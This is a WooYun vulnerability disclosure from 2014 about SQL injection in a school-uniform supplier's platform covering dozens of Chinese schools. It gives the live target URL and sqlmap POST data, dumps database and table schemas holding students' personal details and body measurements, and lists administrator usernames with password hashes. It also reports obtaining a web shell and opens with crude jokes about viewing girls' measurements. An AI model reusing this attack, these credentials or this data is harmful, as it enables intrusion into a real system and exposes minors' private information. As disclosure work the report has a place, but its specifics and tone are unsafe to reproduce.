当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-086085

漏洞标题:某校服供应商sql注入漏洞导致数万学生信息泄漏极详细另带shell

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2014-12-08 16:44

修复时间:2015-01-22 16:46

公开时间:2015-01-22 16:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-08: 细节已通知厂商并且等待厂商处理中
2014-12-12: 厂商已经确认,细节仅向厂商公开
2014-12-22: 细节向核心白帽子及相关领域专家公开
2015-01-01: 细节向普通白帽子公开
2015-01-11: 细节向实习白帽子公开
2015-01-22: 细节向公众公开

简要描述:

还在为没有女朋友而发愁吗?
还在为女朋友“型号”不好而发愁吗?
还在为抬头仰望才能看得见的“高大”女友发愁吗?
没错!是时候翻身了,想看哪里看哪里!
遍布全国各地(京城尤为突出)

详细说明:

影响学校名称:

/ 北京四中
/ 北京四中顺义分校
/ 北京四中璞瑅学校
/ 北京四中内蒙古呼和浩特分校
/ 北京四中房山校区
/ 北京师范大学附属实验中学
/ 北京师范大学第二附属中学
/ 北京师范大学附属实验学校二龙路校区
/ 北京师范大学亚太实验学校
/ 北大附中为明教育集团
/ 中国人民大学附属中学
/ 北京一零一中学
/ 北京中学
/ 北京第二实验小学
/ 北京第二实验小学白云路分校
/ 北京第二实验小学广外分校
/ 北京第二实验小学涭水河分校
/ 北京第二实验小学玉桃园分校
/ 北京第二实验学校德胜校区
/ 北京第二实验学校长安校区
/ 北京第二实验小学大兴实验学校
/ 首都师范大学附属中学
/ 首都师范大学附属实验学校
/ 首都师范大学第二附属中学
/ 首师大附属育新学校
/ 首师大附属回龙观育新学校
/ 北京一六一中学
/ 北京一七七中学
/ 北京二十四中学
/ 北京康福外国语学校
/ 华中师大第一附属中学朝阳学校
/ 海淀教师进修学校附属实验学校
/ 北京宣武外国语实验学校
/ 北京史家小学
/ 北京市西城区宏庙小学
/ 北京市西城区五路通小学
/ 北京市西城区三里河第三小学
/ 北京市西城区中古友谊小学
/ 北京乐成国际学校
/ 北京进步小学
/ 北京金宝国际幼儿园
/ 唐山市第一中学
/ 承德市第二中学
/ 河南宏力学校
/ 浙江金华第一中学
/ 浙江金华江南中学
/ 成都市七中嘉祥外国语学校
/ 四川绵阳中学实验学校
/ 阜外一小
/ 展览路一小
/ 北京市卫国中学
/ 北京力迈外国语学校
/ 北京康福外国语学校
/ 北京启喑实验学校
/ 北京西马金润小学
/ 中央工艺美院附属中学
/ 哈尔滨松雷中学
/ 辽宁实验中学东戴河分校
/ 河北衡水中学
/ 江南大学附属实验中学
/ 绵阳外国语实验学校
/ 绵阳中学资阳育才学校
/ 青岛经济技术开发区实验初级中学
/ 青岛经济技术开发区育才初级中学
/ 山东省济南第十一中学
/ 玉门石油小学
/ 珠海一中附属实验学校
/ 无锡市滨湖中学
/ 无锡市东绛实验学校
/ 无锡市河埒中学
/ 无锡市胡埭中学
/ 无锡市华庄中学
/ 无锡市蠡园中学
/ 无锡市梅梁中学
/ 无锡市南湖中学
/ 无锡市水秀中学
/ 无锡市太湖格致中学
/ 无锡市雪浪中学


洞主学校无意中枪。
问题其实本可以不这么严重,但是关键在于所有的分站都会在同一个数据库上这样就不好玩了。
sqlmap直接注入

http://hmxx.yooknet.com/reg/action/index.php --data="f
irstname=2001801018&name_form=form&timer_form=XhwAIwyCChIX&response_form=&&lastn
ame=dasdasd&email=2001801018%40qq.com&password=aaaaaa&confirm_password=aaaaaa"


mysql.png


库x41

available databases [41]:
[*] 177
[*] beijing101
[*] beijingzhongxue
[*] bhsf
[*] binhu
[*] bj24_new
[*] bjsyex_new
[*] bjzx
[*] callcenter
[*] cdez
[*] cnu_2
[*] cnu_hlg
[*] cnu_new
[*] cnu_yx
[*] eshttc_new
[*] hmxx_new
[*] hzsd
[*] information_schema
[*] jbxx
[*] jbye
[*] jhyzh
[*] jnzx
[*] m_yooknet
[*] mysql
[*] myzx
[*] nmsz
[*] performance_schema
[*] qzjx
[*] rmdx
[*] sdsz
[*] shsbnu
[*] slhsx_new
[*] slzx
[*] sy10z
[*] szpt
[*] wgzx
[*] wltxx_new
[*] wms
[*] xjzhgyyxx
[*] xwsy
[*] zgyy_new


每个库对应的都是一个分站 而且里面储存了所有学生的学号姓名 而且是真实 并且一一对应的,
这时候问题就来了 洞主是怎么分析出来是一一对应的呢?

qr.png


是因为在注册的时候会判断学生的姓名与学号
同样以hmxx_new 库为例
表x132

Database: hmxx_new
[132 tables]
+-------------------------+
| ecs_account_log |
| ecs_ad |
| ecs_ad_custom |
| ecs_ad_position |
| ecs_admin_action |
| ecs_admin_action_backup |
| ecs_admin_log |
| ecs_admin_message |
| ecs_admin_user |
| ecs_adsense |
| ecs_affiliate_log |
| ecs_agency |
| ecs_area_region |
| ecs_article |
| ecs_article_cat |
| ecs_attribute |
| ecs_attributes_os |
| ecs_attributes_ps |
| ecs_attributes_ss |
| ecs_auction_log |
| ecs_auto_manage |
| ecs_back_goods |
| ecs_back_order |
| ecs_bonus_type |
| ecs_booking_goods |
| ecs_brand |
| ecs_card |
| ecs_cart |
| ecs_cartoon_pic |
| ecs_cat_recommend |
| ecs_category |
| ecs_collect_goods |
| ecs_color |
| ecs_comment |
| ecs_crons |
| ecs_delivery_goods |
| ecs_delivery_order |
| ecs_delivery_temp |
| ecs_dzgoods |
| ecs_dzgoods_group |
| ecs_dzpart |
| ecs_email_list |
| ecs_email_sendlist |
| ecs_error_log |
| ecs_exchange_goods |
| ecs_favourable_activity |
| ecs_feedback |
| ecs_friend_link |
| ecs_goods |
| ecs_goods_activity |
| ecs_goods_article |
| ecs_goods_attr |
| ecs_goods_attributes |
| ecs_goods_cat |
| ecs_goods_copy |
| ecs_goods_gallery |
| ecs_goods_team |
| ecs_goods_type |
| ecs_grade |
| ecs_group_gallery |
| ecs_group_goods |
| ecs_inventory |
| ecs_inventory_in |
| ecs_inventory_log |
| ecs_inventory_out |
| ecs_keywords |
| ecs_link_goods |
| ecs_mail_templates |
| ecs_member_price |
| ecs_nav |
| ecs_order_action |
| ecs_order_goods |
| ecs_order_info |
| ecs_order_log |
| ecs_order_temp |
| ecs_order_track |
| ecs_pack |
| ecs_package_goods |
| ecs_pay_log |
| ecs_payment |
| ecs_plugins |
| ecs_price |
| ecs_products |
| ecs_qudao |
| ecs_reg_extend_info |
| ecs_reg_fields |
| ecs_region |
| ecs_return_goods |
| ecs_role |
| ecs_school_dzpart |
| ecs_schools |
| ecs_searchengine |
| ecs_sessions |
| ecs_sessions_data |
| ecs_sex |
| ecs_shipping |
| ecs_shipping_area |
| ecs_shool_list |
| ecs_shop_config |
| ecs_size |
| ecs_sms |
| ecs_sms_pay |
| ecs_snatch_log |
| ecs_stats |
| ecs_storage |
| ecs_storage_action |
| ecs_storage_bill |
| ecs_storage_goods |
| ecs_store_etc |
| ecs_store_point |
| ecs_store_type |
| ecs_student_data |
| ecs_stype |
| ecs_suppliers |
| ecs_tag |
| ecs_template |
| ecs_topic |
| ecs_user_account |
| ecs_user_address |
| ecs_user_bonus |
| ecs_user_detail |
| ecs_user_feed |
| ecs_user_info |
| ecs_user_rank |
| ecs_user_sing |
| ecs_users |
| ecs_virtual_card |
| ecs_volume_price |
| ecs_vote |
| ecs_vote_log |
| ecs_vote_option |
| ecs_wholesale |
+-------------------------+


目测是ecshop但是没继续下去因为没找到后台所以就看了下用户

ecs_student_data
ecs_user_account
ecs_user_address
ecs_user_bonus
ecs_user_detail
ecs_user_feed
ecs_user_info
ecs_user_rank
ecs_user_sing
ecs_users


这几个表都是学生信息的表 可以看到信息 地址 等等 那么继续以ecs_users为例

Database: hmxx_new
Table: ecs_users
[57 columns]
+-----------------+------------------------+
| Column | Type |
+-----------------+------------------------+
| address_id | mediumint(8) unsigned |
| alias | varchar(60) |
| answer | varchar(255) |
| birthday | date |
| credit_line | decimal(10,2) unsigned |
| ec_salt | int(11) |
| email | varchar(60) |
| favorate_color | varchar(50) |
| flag | tinyint(3) unsigned |
| frozen_money | decimal(10,2) |
| grade_id | smallint(6) |
| height | decimal(10,0) |
| hobby | varchar(1000) |
| home_phone | varchar(20) |
| import_i | int(11) |
| is_special | tinyint(3) unsigned |
| is_validated | tinyint(3) unsigned |
| jiankuan | decimal(10,0) |
| last_ip | varchar(15) |
| last_login | int(11) unsigned |
| last_time | datetime |
| mobile_phone | varchar(20) |
| msn | varchar(60) |
| office_phone | varchar(20) |
| p | varchar(50) |
| parent_id | mediumint(9) |
| parents_name | varchar(60) |
| passwd_answer | varchar(255) |
| passwd_question | varchar(50) |
| password | varchar(32) |
| pay_points | int(10) unsigned |
| pp | varchar(50) |
| qq | varchar(20) |
| question | varchar(255) |
| rank_points | int(10) unsigned |
| reg_time | int(10) unsigned |
| salt | varchar(10) |
| school_id | int(11) |
| sex | tinyint(1) unsigned |
| sign | varchar(200) |
| stu_class | varchar(10) |
| stu_glass | varchar(10) |
| true_name | varchar(20) |
| tunwei | decimal(10,0) |
| type | smallint(1) |
| user_id | mediumint(8) |
| user_money | decimal(10,2) |
| user_name | varchar(60) |
| user_rank | tinyint(3) unsigned |
| user_type | tinyint(4) |
| visit_count | smallint(5) unsigned |
| weight | decimal(10,0) |
| x | tinyint(4) |
| xiongwei | decimal(10,0) |
| xiuchang | decimal(10,0) |
| yaowei | decimal(10,0) |
| yichang | decimal(10,0) |
+-----------------+------------------------+


什么生日 住址 身高 体重 腰围 胸围 班级 姓名 性别都有……
数据没有动 这是原则问题,及时公开之后也希望各位白帽子们别拿这些孩子们的信息开玩笑,毕竟他们只是涉世未深的孩子。
下面就该确定数据量了
Database: hmxx_new

+-----------+---------+
| Table | Entries |
+-----------+---------+
| ecs_users | 1456 |
+-----------+---------+


这只是一个表
按这样计算 每个库有1500个学生 41-2(去掉schema类型的库)=39
39*1500=58500 这只是保守估计(不同学校学生数量不同 而且主库没有检测)
另附主站管理员密码

+----------------------------------+--------------+
| password | user_name |
+----------------------------------+--------------+
| 0a13609afd38f4c32ee87a464e1569ce | lvhaiyan |
| 1dadf6aebd67953bf844b94fc7016ffa | zhangshuang |
| 22b83105cfc9731619e5990d6cf4a38c | wangrui |
| 43e3cb9327131f7366c0cd3d0de27d34 | yanzhe |
| 586901f0a46c95e2d88d7f394f81e513 | liuxibin |
| 7bb3580e644483205c5b80ba2be0dd03 | qiaodan |
| 94c271efb179fca53731db510e81dcc2 | yangchen |
| 979bf2b2181907f6a222632ed82e7889 | wangyongkun |
| aeb882ccebb818163b84d11fdb48e449 | wangnan----- |
| b4e6846af2fb87676a9bb28f373d7732 | gaozixin |
| bde93deb308aaeb7ef8e9b82fab4d395 | yinhejun |
| ca623164959096f231362f3d4acf0e0d | chenbin |
| ec3aeccf3edd0b302f9a81052636cb59 | yuanshu |
| ec55a915fc14b6839a06d1a1776ba1d3 | panli |
| ec9679313216585db7e2f8c729b7a760 | fanglixia |
| f3966ab9a8f7e5da705e653d98c8ba93 | yooknet |
+----------------------------------+--------------+


至此已证实均为ecshop二次开发造成
至此数据完全泄漏。拿shell看下面。

漏洞证明:

主站的管理员其实都是后话了,当时在找分站的后台的时候无意间的一个google出现了问题

QQ截图20141206095949.png


这就是快照的问题
得到路径D:\school_front\hmxx.yooknet.com\
再确认下是否是root

root.png


至此成功上传。(既然有数据了拿shell也没什么用)

修复方案:

整体修复吧 每个分站都存在问题

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-12-12 19:15

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式(或以往建立的处置渠道)向网站管理单位(软件生产厂商)通报。

最新状态:

暂无